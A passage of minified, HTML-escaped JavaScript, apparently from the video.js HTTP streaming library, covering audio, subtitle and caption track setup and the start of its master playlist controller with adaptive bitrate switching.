value=message[key];ArrayBuffer.isView(value)?transferable[key]={bytes:value.buffer,byteOffset:value.byteOffset,byteLength:value.byteLength}:transferable[key]=value})),transferable),[bytes.buffer])}))}}))),Decrypter=factory(workerCode),audioTrackKind_=function(properties){var kind=properties.default?&quot;main&quot;:&quot;alternative&quot;;return properties.characteristics&amp;&amp;properties.characteristics.indexOf(&quot;public.accessibility.describes-video&quot;)&gt;=0&amp;&amp;(kind=&quot;main-desc&quot;),kind},stopLoaders=function(segmentLoader,mediaType){segmentLoader.abort(),segmentLoader.pause(),mediaType&amp;&amp;mediaType.activePlaylistLoader&amp;&amp;(mediaType.activePlaylistLoader.pause(),mediaType.activePlaylistLoader=null)},startLoaders=function(playlistLoader,mediaType){mediaType.activePlaylistLoader=playlistLoader,playlistLoader.load()},onError={AUDIO:function(type,settings){return function(){var segmentLoader=settings.segmentLoaders[type],mediaType=settings.mediaTypes[type],blacklistCurrentPlaylist=settings.blacklistCurrentPlaylist;stopLoaders(segmentLoader,mediaType);var activeTrack=mediaType.activeTrack(),activeGroup=mediaType.activeGroup(),id=(activeGroup.filter((function(group){return group.default}))[0]||activeGroup[0]).id,defaultTrack=mediaType.tracks[id];if(activeTrack!==defaultTrack){for(var trackId in videojs.log.warn(&quot;Problem encountered loading the alternate audio track.Switching back to default.&quot;),mediaType.tracks)mediaType.tracks[trackId].enabled=mediaType.tracks[trackId]===defaultTrack;mediaType.onTrackChanged()}else blacklistCurrentPlaylist({message:&quot;Problem encountered loading the default audio track.&quot;})}},SUBTITLES:function(type,settings){return function(){var segmentLoader=settings.segmentLoaders[type],mediaType=settings.mediaTypes[type];videojs.log.warn(&quot;Problem encountered loading the subtitle track.Disabling subtitle track.&quot;),stopLoaders(segmentLoader,mediaType);var track=mediaType.activeTrack();track&amp;&amp;(track.mode=&quot;disabled&quot;),mediaType.onTrackChanged()}}},setupListeners={AUDIO:function(type,playlistLoader,settings){if(playlistLoader){var tech=settings.tech,requestOptions=settings.requestOptions,segmentLoader=settings.segmentLoaders[type];playlistLoader.on(&quot;loadedmetadata&quot;,(function(){var media=playlistLoader.media();segmentLoader.playlist(media,requestOptions),(!tech.paused()||media.endList&amp;&amp;&quot;none&quot;!==tech.preload())&amp;&amp;segmentLoader.load()})),playlistLoader.on(&quot;loadedplaylist&quot;,(function(){segmentLoader.playlist(playlistLoader.media(),requestOptions),tech.paused()||segmentLoader.load()})),playlistLoader.on(&quot;error&quot;,onError[type](type,settings))}},SUBTITLES:function(type,playlistLoader,settings){var tech=settings.tech,requestOptions=settings.requestOptions,segmentLoader=settings.segmentLoaders[type],mediaType=settings.mediaTypes[type];playlistLoader.on(&quot;loadedmetadata&quot;,(function(){var media=playlistLoader.media();segmentLoader.playlist(media,requestOptions),segmentLoader.track(mediaType.activeTrack()),(!tech.paused()||media.endList&amp;&amp;&quot;none&quot;!==tech.preload())&amp;&amp;segmentLoader.load()})),playlistLoader.on(&quot;loadedplaylist&quot;,(function(){segmentLoader.playlist(playlistLoader.media(),requestOptions),tech.paused()||segmentLoader.load()})),playlistLoader.on(&quot;error&quot;,onError[type](type,settings))}},initialize={AUDIO:function(type,settings){var vhs=settings.vhs,sourceType=settings.sourceType,segmentLoader=settings.segmentLoaders[type],requestOptions=settings.requestOptions,mediaGroups=settings.master.mediaGroups,_settings$mediaTypes$=settings.mediaTypes[type],groups=_settings$mediaTypes$.groups,tracks=_settings$mediaTypes$.tracks,logger_=_settings$mediaTypes$.logger_,masterPlaylistLoader=settings.masterPlaylistLoader,audioOnlyMaster=isAudioOnly(masterPlaylistLoader.master);for(var groupId in mediaGroups[type]&amp;&amp;0!==Object.keys(mediaGroups[type]).length||(mediaGroups[type]={main:{default:{default:!0}}},audioOnlyMaster&amp;&amp;(mediaGroups[type].main.default.playlists=masterPlaylistLoader.master.playlists)),mediaGroups[type])for(var variantLabel in groups[groupId]||(groups[groupId]=[]),mediaGroups[type][groupId]){var properties=mediaGroups[type][groupId][variantLabel],playlistLoader=void 0;if(audioOnlyMaster?(logger_(&quot;AUDIO group &#039;&quot;+groupId+&quot;&#039; label &#039;&quot;+variantLabel+&quot;&#039; is a master playlist&quot;),properties.isMasterPlaylist=!0,playlistLoader=null):playlistLoader=&quot;vhs-json&quot;===sourceType&amp;&amp;properties.playlists?new PlaylistLoader(properties.playlists[0],vhs,requestOptions):properties.resolvedUri?new PlaylistLoader(properties.resolvedUri,vhs,requestOptions):properties.playlists&amp;&amp;&quot;dash&quot;===sourceType?new DashPlaylistLoader(properties.playlists[0],vhs,requestOptions,masterPlaylistLoader):null,properties=videojs.mergeOptions({id:variantLabel,playlistLoader:playlistLoader},properties),setupListeners[type](type,properties.playlistLoader,settings),groups[groupId].push(properties),void 0===tracks[variantLabel]){var track=new videojs.AudioTrack({id:variantLabel,kind:audioTrackKind_(properties),enabled:!1,language:properties.language,default:properties.default,label:variantLabel});tracks[variantLabel]=track}}segmentLoader.on(&quot;error&quot;,onError[type](type,settings))},SUBTITLES:function(type,settings){var tech=settings.tech,vhs=settings.vhs,sourceType=settings.sourceType,segmentLoader=settings.segmentLoaders[type],requestOptions=settings.requestOptions,mediaGroups=settings.master.mediaGroups,_settings$mediaTypes$2=settings.mediaTypes[type],groups=_settings$mediaTypes$2.groups,tracks=_settings$mediaTypes$2.tracks,masterPlaylistLoader=settings.masterPlaylistLoader;for(var groupId in mediaGroups[type])for(var variantLabel in groups[groupId]||(groups[groupId]=[]),mediaGroups[type][groupId])if(!mediaGroups[type][groupId][variantLabel].forced){var properties=mediaGroups[type][groupId][variantLabel],playlistLoader=void 0;if(&quot;hls&quot;===sourceType)playlistLoader=new PlaylistLoader(properties.resolvedUri,vhs,requestOptions);else if(&quot;dash&quot;===sourceType){if(!properties.playlists.filter((function(p){return p.excludeUntil!==1/0})).length)return;playlistLoader=new DashPlaylistLoader(properties.playlists[0],vhs,requestOptions,masterPlaylistLoader)}else&quot;vhs-json&quot;===sourceType&amp;&amp;(playlistLoader=new PlaylistLoader(properties.playlists?properties.playlists[0]:properties.resolvedUri,vhs,requestOptions));if(properties=videojs.mergeOptions({id:variantLabel,playlistLoader:playlistLoader},properties),setupListeners[type](type,properties.playlistLoader,settings),groups[groupId].push(properties),void 0===tracks[variantLabel]){var track=tech.addRemoteTextTrack({id:variantLabel,kind:&quot;subtitles&quot;,default:properties.default&amp;&amp;properties.autoselect,language:properties.language,label:variantLabel},!1).track;tracks[variantLabel]=track}}segmentLoader.on(&quot;error&quot;,onError[type](type,settings))},&quot;CLOSED-CAPTIONS&quot;:function(type,settings){var tech=settings.tech,mediaGroups=settings.master.mediaGroups,_settings$mediaTypes$3=settings.mediaTypes[type],groups=_settings$mediaTypes$3.groups,tracks=_settings$mediaTypes$3.tracks;for(var groupId in mediaGroups[type])for(var variantLabel in groups[groupId]||(groups[groupId]=[]),mediaGroups[type][groupId]){var properties=mediaGroups[type][groupId][variantLabel];if(/^(?:CC|SERVICE)/.test(properties.instreamId)){var captionServices=tech.options_.vhs&amp;&amp;tech.options_.vhs.captionServices||{},newProps={label:variantLabel,language:properties.language,instreamId:properties.instreamId,default:properties.default&amp;&amp;properties.autoselect};if(captionServices[newProps.instreamId]&amp;&amp;(newProps=videojs.mergeOptions(newProps,captionServices[newProps.instreamId])),void 0===newProps.default&amp;&amp;delete newProps.default,groups[groupId].push(videojs.mergeOptions({id:variantLabel},properties)),void 0===tracks[variantLabel]){var track=tech.addRemoteTextTrack({id:newProps.instreamId,kind:&quot;captions&quot;,default:newProps.default,language:newProps.language,label:newProps.label},!1).track;tracks[variantLabel]=track}}}}},groupMatch=function groupMatch(list,media){for(var i=0;i&lt;list.length;i++){if(playlistMatch(media,list[i]))return!0;if(list[i].playlists&amp;&amp;groupMatch(list[i].playlists,media))return!0}return!1},activeTrack={AUDIO:function(type,settings){return function(){var tracks=settings.mediaTypes[type].tracks;for(var id in tracks)if(tracks[id].enabled)return tracks[id];return null}},SUBTITLES:function(type,settings){return function(){var tracks=settings.mediaTypes[type].tracks;for(var id in tracks)if(&quot;showing&quot;===tracks[id].mode||&quot;hidden&quot;===tracks[id].mode)return tracks[id];return null}}},setupMediaGroups=function(settings){[&quot;AUDIO&quot;,&quot;SUBTITLES&quot;,&quot;CLOSED-CAPTIONS&quot;].forEach((function(type){initialize[type](type,settings)}));var mediaTypes=settings.mediaTypes,masterPlaylistLoader=settings.masterPlaylistLoader,tech=settings.tech,vhs=settings.vhs,_settings$segmentLoad3=settings.segmentLoaders,audioSegmentLoader=_settings$segmentLoad3.AUDIO,mainSegmentLoader=_settings$segmentLoad3.main;[&quot;AUDIO&quot;,&quot;SUBTITLES&quot;].forEach((function(type){mediaTypes[type].activeGroup=function(type,settings){return function(track){var masterPlaylistLoader=settings.masterPlaylistLoader,groups=settings.mediaTypes[type].groups,media=masterPlaylistLoader.media();if(!media)return null;var variants=null;media.attributes[type]&amp;&amp;(variants=groups[media.attributes[type]]);var groupKeys=Object.keys(groups);if(!variants)if(&quot;AUDIO&quot;===type&amp;&amp;groupKeys.length&gt;1&amp;&amp;isAudioOnly(settings.master))for(var i=0;i&lt;groupKeys.length;i++){var groupPropertyList=groups[groupKeys[i]];if(groupMatch(groupPropertyList,media)){variants=groupPropertyList;break}}else groups.main?variants=groups.main:1===groupKeys.length&amp;&amp;(variants=groups[groupKeys[0]]);return void 0===track?variants:null!==track&amp;&amp;variants&amp;&amp;variants.filter((function(props){return props.id===track.id}))[0]||null}}(type,settings),mediaTypes[type].activeTrack=activeTrack[type](type,settings),mediaTypes[type].onGroupChanged=function(type,settings){return function(){var _settings$segmentLoad=settings.segmentLoaders,segmentLoader=_settings$segmentLoad[type],mainSegmentLoader=_settings$segmentLoad.main,mediaType=settings.mediaTypes[type],activeTrack=mediaType.activeTrack(),activeGroup=mediaType.getActiveGroup(),previousActiveLoader=mediaType.activePlaylistLoader,lastGroup=mediaType.lastGroup_;activeGroup&amp;&amp;lastGroup&amp;&amp;activeGroup.id===lastGroup.id||(mediaType.lastGroup_=activeGroup,mediaType.lastTrack_=activeTrack,stopLoaders(segmentLoader,mediaType),activeGroup&amp;&amp;!activeGroup.isMasterPlaylist&amp;&amp;(activeGroup.playlistLoader?(segmentLoader.resyncLoader(),startLoaders(activeGroup.playlistLoader,mediaType)):previousActiveLoader&amp;&amp;mainSegmentLoader.resetEverything()))}}(type,settings),mediaTypes[type].onGroupChanging=function(type,settings){return function(){var segmentLoader=settings.segmentLoaders[type];settings.mediaTypes[type].lastGroup_=null,segmentLoader.abort(),segmentLoader.pause()}}(type,settings),mediaTypes[type].onTrackChanged=function(type,settings){return function(){var masterPlaylistLoader=settings.masterPlaylistLoader,_settings$segmentLoad2=settings.segmentLoaders,segmentLoader=_settings$segmentLoad2[type],mainSegmentLoader=_settings$segmentLoad2.main,mediaType=settings.mediaTypes[type],activeTrack=mediaType.activeTrack(),activeGroup=mediaType.getActiveGroup(),previousActiveLoader=mediaType.activePlaylistLoader,lastTrack=mediaType.lastTrack_;if((!lastTrack||!activeTrack||lastTrack.id!==activeTrack.id)&amp;&amp;(mediaType.lastGroup_=activeGroup,mediaType.lastTrack_=activeTrack,stopLoaders(segmentLoader,mediaType),activeGroup)){if(activeGroup.isMasterPlaylist){if(!activeTrack||!lastTrack||activeTrack.id===lastTrack.id)return;var mpc=settings.vhs.masterPlaylistController_,newPlaylist=mpc.selectPlaylist();if(mpc.media()===newPlaylist)return;return mediaType.logger_(&quot;track change. Switching master audio from &quot;+lastTrack.id+&quot; to &quot;+activeTrack.id),masterPlaylistLoader.pause(),mainSegmentLoader.resetEverything(),void mpc.fastQualityChange_(newPlaylist)}if(&quot;AUDIO&quot;===type){if(!activeGroup.playlistLoader)return mainSegmentLoader.setAudio(!0),void mainSegmentLoader.resetEverything();segmentLoader.setAudio(!0),mainSegmentLoader.setAudio(!1)}previousActiveLoader!==activeGroup.playlistLoader?(segmentLoader.track&amp;&amp;segmentLoader.track(activeTrack),segmentLoader.resetEverything(),startLoaders(activeGroup.playlistLoader,mediaType)):startLoaders(activeGroup.playlistLoader,mediaType)}}}(type,settings),mediaTypes[type].getActiveGroup=function(type,_ref){var mediaTypes=_ref.mediaTypes;return function(){var activeTrack_=mediaTypes[type].activeTrack();return activeTrack_?mediaTypes[type].activeGroup(activeTrack_):null}}(type,settings)}));var audioGroup=mediaTypes.AUDIO.activeGroup();if(audioGroup){var groupId=(audioGroup.filter((function(group){return group.default}))[0]||audioGroup[0]).id;mediaTypes.AUDIO.tracks[groupId].enabled=!0,mediaTypes.AUDIO.onGroupChanged(),mediaTypes.AUDIO.onTrackChanged(),mediaTypes.AUDIO.getActiveGroup().playlistLoader?(mainSegmentLoader.setAudio(!1),audioSegmentLoader.setAudio(!0)):mainSegmentLoader.setAudio(!0)}masterPlaylistLoader.on(&quot;mediachange&quot;,(function(){[&quot;AUDIO&quot;,&quot;SUBTITLES&quot;].forEach((function(type){return mediaTypes[type].onGroupChanged()}))})),masterPlaylistLoader.on(&quot;mediachanging&quot;,(function(){[&quot;AUDIO&quot;,&quot;SUBTITLES&quot;].forEach((function(type){return mediaTypes[type].onGroupChanging()}))}));var onAudioTrackChanged=function(){mediaTypes.AUDIO.onTrackChanged(),tech.trigger({type:&quot;usage&quot;,name:&quot;vhs-audio-change&quot;}),tech.trigger({type:&quot;usage&quot;,name:&quot;hls-audio-change&quot;})};for(var id in tech.audioTracks().addEventListener(&quot;change&quot;,onAudioTrackChanged),tech.remoteTextTracks().addEventListener(&quot;change&quot;,mediaTypes.SUBTITLES.onTrackChanged),vhs.on(&quot;dispose&quot;,(function(){tech.audioTracks().removeEventListener(&quot;change&quot;,onAudioTrackChanged),tech.remoteTextTracks().removeEventListener(&quot;change&quot;,mediaTypes.SUBTITLES.onTrackChanged)})),tech.clearTracks(&quot;audio&quot;),mediaTypes.AUDIO.tracks)tech.audioTracks().addTrack(mediaTypes.AUDIO.tracks[id])},loaderStats=[&quot;mediaRequests&quot;,&quot;mediaRequestsAborted&quot;,&quot;mediaRequestsTimedout&quot;,&quot;mediaRequestsErrored&quot;,&quot;mediaTransferDuration&quot;,&quot;mediaBytesTransferred&quot;,&quot;mediaAppends&quot;],sumLoaderStat=function(stat){return this.audioSegmentLoader_[stat]+this.mainSegmentLoader_[stat]},MasterPlaylistController=function(_videojs$EventTarget){function MasterPlaylistController(options){var _this;_this=_videojs$EventTarget.call(this)||this;var src=options.src,handleManifestRedirects=options.handleManifestRedirects,withCredentials=options.withCredentials,tech=options.tech,bandwidth=options.bandwidth,externVhs=options.externVhs,useCueTags=options.useCueTags,blacklistDuration=options.blacklistDuration,enableLowInitialPlaylist=options.enableLowInitialPlaylist,sourceType=options.sourceType,cacheEncryptionKeys=options.cacheEncryptionKeys,experimentalBufferBasedABR=options.experimentalBufferBasedABR,experimentalLeastPixelDiffSelector=options.experimentalLeastPixelDiffSelector,captionServices=options.captionServices;if(!src)throw new Error(&quot;A non-empty playlist URL or JSON manifest string is required&quot;);var maxPlaylistRetries=options.maxPlaylistRetries;null==maxPlaylistRetries&amp;&amp;(maxPlaylistRetries=1/0),Vhs$1=externVhs,_this.experimentalBufferBasedABR=Boolean(experimentalBufferBasedABR),_this.experimentalLeastPixelDiffSelector=Boolean(experimentalLeastPixelDiffSelector),_this.withCredentials=withCredentials,_this.tech_=tech,_this.vhs_=tech.vhs,_this.sourceType_=sourceType,_this.useCueTags_=useCueTags,_this.blacklistDuration=blacklistDuration,_this.maxPlaylistRetries=maxPlaylistRetries,_this.enableLowInitialPlaylist=enableLowInitialPlaylist,_this.useCueTags_&amp;&amp;(_this.cueTagsTrack_=_this.tech_.addTextTrack(&quot;metadata&quot;,&quot;ad-cues&quot;),_this.cueTagsTrack_.inBandMetadataTrackDispatchType=&quot;&quot;),_this.requestOptions_={withCredentials:withCredentials,handleManifestRedirects:handleManifestRedirects,maxPlaylistRetries:maxPlaylistRetries,timeout:null},_this.on(&quot;error&quot;,_this.pauseLoading),_this.mediaTypes_=function(){var mediaTypes={};return[&quot;AUDIO&quot;,&quot;SUBTITLES&quot;,&quot;CLOSED-CAPTIONS&quot;].forEach((function(type){mediaTypes[type]={groups:{},tracks:{},activePlaylistLoader:null,activeGroup:noop,activeTrack:noop,getActiveGroup:noop,onGroupChanged:noop,onTrackChanged:noop,lastTrack_:null,logger_:logger(&quot;MediaGroups[&quot;+type+&quot;]&quot;)}})),mediaTypes}(),_this.mediaSource=new window.MediaSource,_this.handleDurationChange_=_this.handleDurationChange_.bind(assertThisInitialized(_this)),_this.handleSourceOpen_=_this.handleSourceOpen_.bind(assertThisInitialized(_this)),_this.handleSourceEnded_=_this.handleSourceEnded_.bind(assertThisInitialized(_this)),_this.mediaSource.addEventListener(&quot;durationchange&quot;,_this.handleDurationChange_),_this.mediaSource.addEventListener(&quot;sourceopen&quot;,_this.handleSourceOpen_),_this.mediaSource.addEventListener(&quot;sourceended&quot;,_this.handleSourceEnded_),_this.seekable_=videojs.createTimeRanges(),_this.hasPlayed_=!1,_this.syncController_=new SyncController(options),_this.segmentMetadataTrack_=tech.addRemoteTextTrack({kind:&quot;metadata&quot;,label:&quot;segment-metadata&quot;},!1).track,_this.decrypter_=new Decrypter,_this.sourceUpdater_=new SourceUpdater(_this.mediaSource),_this.inbandTextTracks_={},_this.timelineChangeController_=new TimelineChangeController;var segmentLoaderSettings={vhs:_this.vhs_,parse708captions:options.parse708captions,captionServices:captionServices,mediaSource:_this.mediaSource,currentTime:_this.tech_.currentTime.bind(_this.tech_),seekable:function(){return _this.seekable()},seeking:function(){return _this.tech_.seeking()},duration:function(){return _this.duration()},hasPlayed:function(){return _this.hasPlayed_},goalBufferLength:function(){return _this.goalBufferLength()},bandwidth:bandwidth,syncController:_this.syncController_,decrypter:_this.decrypter_,sourceType:_this.sourceType_,inbandTextTracks:_this.inbandTextTracks_,cacheEncryptionKeys:cacheEncryptionKeys,sourceUpdater:_this.sourceUpdater_,timelineChangeController:_this.timelineChangeController_,experimentalExactManifestTimings:options.experimentalExactManifestTimings};_this.masterPlaylistLoader_=&quot;dash&quot;===_this.sourceType_?new DashPlaylistLoader(src,_this.vhs_,_this.requestOptions_):new PlaylistLoader(src,_this.vhs_,_this.requestOptions_),_this.setupMasterPlaylistLoaderListeners_(),_this.mainSegmentLoader_=new SegmentLoader(videojs.mergeOptions(segmentLoaderSettings,{segmentMetadataTrack:_this.segmentMetadataTrack_,loaderType:&quot;main&quot;}),options),_this.audioSegmentLoader_=new SegmentLoader(videojs.mergeOptions(segmentLoaderSettings,{loaderType:&quot;audio&quot;}),options),_this.subtitleSegmentLoader_=new VTTSegmentLoader(videojs.mergeOptions(segmentLoaderSettings,{loaderType:&quot;vtt&quot;,featuresNativeTextTracks:_this.tech_.featuresNativeTextTracks}),options),_this.setupSegmentLoaderListeners_(),_this.experimentalBufferBasedABR&amp;&amp;(_this.masterPlaylistLoader_.one(&quot;loadedplaylist&quot;,(function(){return _this.startABRTimer_()})),_this.tech_.on(&quot;pause&quot;,(function(){return _this.stopABRTimer_()})),_this.tech_.on(&quot;play&quot;,(function(){return _this.startABRTimer_()}))),loaderStats.forEach((function(stat){_this[stat+&quot;_&quot;]=sumLoaderStat.bind(assertThisInitialized(_this),stat)})),_this.logger_=logger(&quot;MPC&quot;),_this.triggeredFmp4Usage=!1,&quot;none&quot;===_this.tech_.preload()?(_this.loadOnPlay_=function(){_this.loadOnPlay_=null,_this.masterPlaylistLoader_.load()},_this.tech_.one(&quot;play&quot;,_this.loadOnPlay_)):_this.masterPlaylistLoader_.load(),_this.timeToLoadedData__=-1,_this.mainAppendsToLoadedData__=-1,_this.audioAppendsToLoadedData__=-1;var event=&quot;none&quot;===_this.tech_.preload()?&quot;play&quot;:&quot;loadstart&quot;;return _this.tech_.one(event,(function(){var timeToLoadedDataStart=Date.now();_this.tech_.one(&quot;loadeddata&quot;,(function(){_this.timeToLoadedData__=Date.now()-timeToLoadedDataStart,_this.mainAppendsToLoadedData__=_this.mainSegmentLoader_.mediaAppends,_this.audioAppendsToLoadedData__=_this.audioSegmentLoader_.mediaAppends}))})),_this}inheritsLoose(MasterPlaylistController,_videojs$EventTarget);var _proto=MasterPlaylistController.prototype;return _proto.mainAppendsToLoadedData_=function(){return this.mainAppendsToLoadedData__},_proto.audioAppendsToLoadedData_=function(){return this.audioAppendsToLoadedData__},_proto.appendsToLoadedData_=function(){var main=this.mainAppendsToLoadedData_(),audio=this.audioAppendsToLoadedData_();return-1===main||-1===audio?-1:main+audio},_proto.timeToLoadedData_=function(){return this.timeToLoadedData__},_proto.checkABR_=function(){var nextPlaylist=this.selectPlaylist();nextPlaylist&amp;&amp;this.shouldSwitchToMedia_(nextPlaylist)&amp;&amp;this.switchMedia_(nextPlaylist,&quot;abr&quot;)},_proto.switchMedia_=function(playlist,cause,delay){var oldMedia=this.media(),oldId=oldMedia&amp;&amp;(oldMedia.id||oldMedia.uri),newId=playlist.id||playlist.uri;oldId&amp;&amp;oldId!==newId&amp;&amp;(this.logger_(&quot;switch media &quot;+oldId+&quot; -&gt; &quot;+newId+&quot; from &quot;+cause),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-rendition-change-&quot;+cause})),this.masterPlaylistLoader_.media(playlist,delay)},_proto.startABRTimer_=function(){var _this2=this;this.stopABRTimer_(),this.abrTimer_=window.setInterval((function(){return _this2.checkABR_()}),250)},_proto.stopABRTimer_=function(){this.tech_.scrubbing&amp;&amp;this.tech_.scrubbing()||(window.clearInterval(this.abrTimer_),this.abrTimer_=null)},_proto.getAudioTrackPlaylists_=function(){var master=this.master(),defaultPlaylists=master&amp;&amp;master.playlists||[];if(!master||!master.mediaGroups||!master.mediaGroups.AUDIO)return defaultPlaylists;var track,AUDIO=master.mediaGroups.AUDIO,groupKeys=Object.keys(AUDIO);if(Object.keys(this.mediaTypes_.AUDIO.groups).length)track=this.mediaTypes_.AUDIO.activeTrack();else{var defaultGroup=AUDIO.main||groupKeys.length&amp;&amp;AUDIO[groupKeys[0]];for(var label in defaultGroup)if(defaultGroup[label].default){track={label:label};break}}if(!track)return defaultPlaylists;var playlists=[];for(var group in AUDIO)if(AUDIO[group][track.label]){var properties=AUDIO[group][track.label];if(properties.playlists&amp;&amp;properties.playlists.length)playlists.push.apply(playlists,properties.playlists);else if(properties.uri)playlists.push(properties);else if(master.playlists.length)for(var i=0;i&lt;master.playlists.length;i++){var playlist=master.playlists[i];playlist.attributes&amp;&amp;playlist.attributes.AUDIO&amp;&amp;playlist.attributes.AUDIO===group&amp;&amp;playlists.push(playlist)}}return playlists.length?playlists:defaultPlaylists},_proto.setupMasterPlaylistLoaderListeners_=function(){var _this3=this;this.masterPlaylistLoader_.on(&quot;loadedmetadata&quot;,(function(){var media=_this3.masterPlaylistLoader_.media(),requestTimeout=1.5*media.targetDuration*1e3;isLowestEnabledRendition(_this3.masterPlaylistLoader_.master,_this3.masterPlaylistLoader_.media())?_this3.requestOptions_.timeout=0:_this3.requestOptions_.timeout=requestTimeout,media.endList&amp;&amp;&quot;none&quot;!==_this3.tech_.preload()&amp;&amp;(_this3.mainSegmentLoader_.playlist(media,_this3.requestOptions_),_this3.mainSegmentLoader_.load()),setupMediaGroups({sourceType:_this3.sourceType_,segmentLoaders:{AUDIO:_this3.audioSegmentLoader_,SUBTITLES:_this3.subtitleSegmentLoader_,main:_this3.mainSegmentLoader_},tech:_this3.tech_,requestOptions:_this3.requestOptions_,masterPlaylistLoader:_this3.masterPlaylistLoader_,vhs:_this3.vhs_,master:_this3.master(),mediaTypes:_this3.mediaTypes_,blacklistCurrentPlaylist:_this3.blacklistCurrentPlaylist.bind(_this3)}),_this3.triggerPresenceUsage_(_this3.master(),media),_this3.setupFirstPlay(),!_this3.mediaTypes_.AUDIO.activePlaylistLoader||_this3.mediaTypes_.AUDIO.activePlaylistLoader.media()?_this3.trigger(&quot;selectedinitialmedia&quot;):_this3.mediaTypes_.AUDIO.activePlaylistLoader.one(&quot;loadedmetadata&quot;,(function(){_this3.trigger(&quot;selectedinitialmedia&quot;)}))})),this.masterPlaylistLoader_.on(&quot;loadedplaylist&quot;,(function(){_this3.loadOnPlay_&amp;&amp;_this3.tech_.off(&quot;play&quot;,_this3.loadOnPlay_);var updatedPlaylist=_this3.masterPlaylistLoader_.media();if(!updatedPlaylist){var selectedMedia;if(_this3.excludeUnsupportedVariants_(),_this3.enableLowInitialPlaylist&amp;&amp;(selectedMedia=_this3.selectInitialPlaylist()),selectedMedia||(selectedMedia=_this3.selectPlaylist()),!selectedMedia||!_this3.shouldSwitchToMedia_(selectedMedia))return;if(_this3.initialMedia_=selectedMedia,_this3.switchMedia_(_this3.initialMedia_,&quot;initial&quot;),!(&quot;vhs-json&quot;===_this3.sourceType_&amp;&amp;_this3.initialMedia_.segments))return;updatedPlaylist=_this3.initialMedia_}_this3.handleUpdatedMediaPlaylist(updatedPlaylist)})),this.masterPlaylistLoader_.on(&quot;error&quot;,(function(){_this3.blacklistCurrentPlaylist(_this3.masterPlaylistLoader_.error)})),this.masterPlaylistLoader_.on(&quot;mediachanging&quot;,(function(){_this3.mainSegmentLoader_.abort(),_this3.mainSegmentLoader_.pause()})),this.masterPlaylistLoader_.on(&quot;mediachange&quot;,(function(){var media=_this3.masterPlaylistLoader_.media(),requestTimeout=1.5*media.targetDuration*1e3;isLowestEnabledRendition(_this3.masterPlaylistLoader_.master,_this3.masterPlaylistLoader_.media())?_this3.requestOptions_.timeout=0:_this3.requestOptions_.timeout=requestTimeout,_this3.mainSegmentLoader_.playlist(media,_this3.requestOptions_),_this3.mainSegmentLoader_.load(),_this3.tech_.trigger({type:&quot;mediachange&quot;,bubbles:!0})})),this.masterPlaylistLoader_.on(&quot;playlistunchanged&quot;,(function(){var updatedPlaylist=_this3.masterPlaylistLoader_.media();&quot;playlist-unchanged&quot;!==updatedPlaylist.lastExcludeReason_&amp;&amp;(_this3.stuckAtPlaylistEnd_(updatedPlaylist)&amp;&amp;(_this3.blacklistCurrentPlaylist({message:&quot;Playlist no longer updating.&quot;,reason:&quot;playlist-unchanged&quot;}),_this3.tech_.trigger(&quot;playliststuck&quot;)))})),this.masterPlaylistLoader_.on(&quot;renditiondisabled&quot;,(function(){_this3.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-rendition-disabled&quot;}),_this3.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-rendition-disabled&quot;})})),this.masterPlaylistLoader_.on(&quot;renditionenabled&quot;,(function(){_this3.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-rendition-enabled&quot;}),_this3.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-rendition-enabled&quot;})}))},_proto.handleUpdatedMediaPlaylist=function(updatedPlaylist){this.useCueTags_&amp;&amp;this.updateAdCues_(updatedPlaylist),this.mainSegmentLoader_.playlist(updatedPlaylist,this.requestOptions_),this.updateDuration(!updatedPlaylist.endList),this.tech_.paused()||(this.mainSegmentLoader_.load(),this.audioSegmentLoader_&amp;&amp;this.audioSegmentLoader_.load())},_proto.triggerPresenceUsage_=function(master,media){var mediaGroups=master.mediaGroups||{},defaultDemuxed=!0,audioGroupKeys=Object.keys(mediaGroups.AUDIO);for(var mediaGroup in mediaGroups.AUDIO)for(var label in mediaGroups.AUDIO[mediaGroup]){mediaGroups.AUDIO[mediaGroup][label].uri||(defaultDemuxed=!1)}defaultDemuxed&amp;&amp;(this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-demuxed&quot;}),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-demuxed&quot;})),Object.keys(mediaGroups.SUBTITLES).length&amp;&amp;(this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-webvtt&quot;}),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-webvtt&quot;})),Vhs$1.Playlist.isAes(media)&amp;&amp;(this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-aes&quot;}),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-aes&quot;})),audioGroupKeys.length&amp;&amp;Object.keys(mediaGroups.AUDIO[audioGroupKeys[0]]).length&gt;1&amp;&amp;(this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-alternate-audio&quot;}),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-alternate-audio&quot;})),this.useCueTags_&amp;&amp;(this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-playlist-cue-tags&quot;}),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-playlist-cue-tags&quot;}))},_proto.shouldSwitchToMedia_=function(nextPlaylist){var currentPlaylist=this.masterPlaylistLoader_.media()||this.masterPlaylistLoader_.pendingMedia_,currentTime=this.tech_.currentTime(),bufferLowWaterLine=this.bufferLowWaterLine(),bufferHighWaterLine=this.bufferHighWaterLine();return function(_ref){var currentPlaylist=_ref.currentPlaylist,buffered=_ref.buffered,currentTime=_ref.currentTime,nextPlaylist=_ref.nextPlaylist,bufferLowWaterLine=_ref.bufferLowWaterLine,bufferHighWaterLine=_ref.bufferHighWaterLine,duration=_ref.duration,experimentalBufferBasedABR=_ref.experimentalBufferBasedABR,log=_ref.log;if(!nextPlaylist)return videojs.log.warn(&quot;We received no playlist to switch to. Please check your stream.&quot;),!1;var sharedLogLine=&quot;allowing switch &quot;+(currentPlaylist&amp;&amp;currentPlaylist.id||&quot;null&quot;)+&quot; -&gt; &quot;+nextPlaylist.id;if(!currentPlaylist)return log(sharedLogLine+&quot; as current playlist is not set&quot;),!0;if(nextPlaylist.id===currentPlaylist.id)return!1;var isBuffered=Boolean(findRange(buffered,currentTime).length);if(!currentPlaylist.endList)return isBuffered||&quot;number&quot;!=typeof currentPlaylist.partTargetDuration?(log(sharedLogLine+&quot; as current playlist 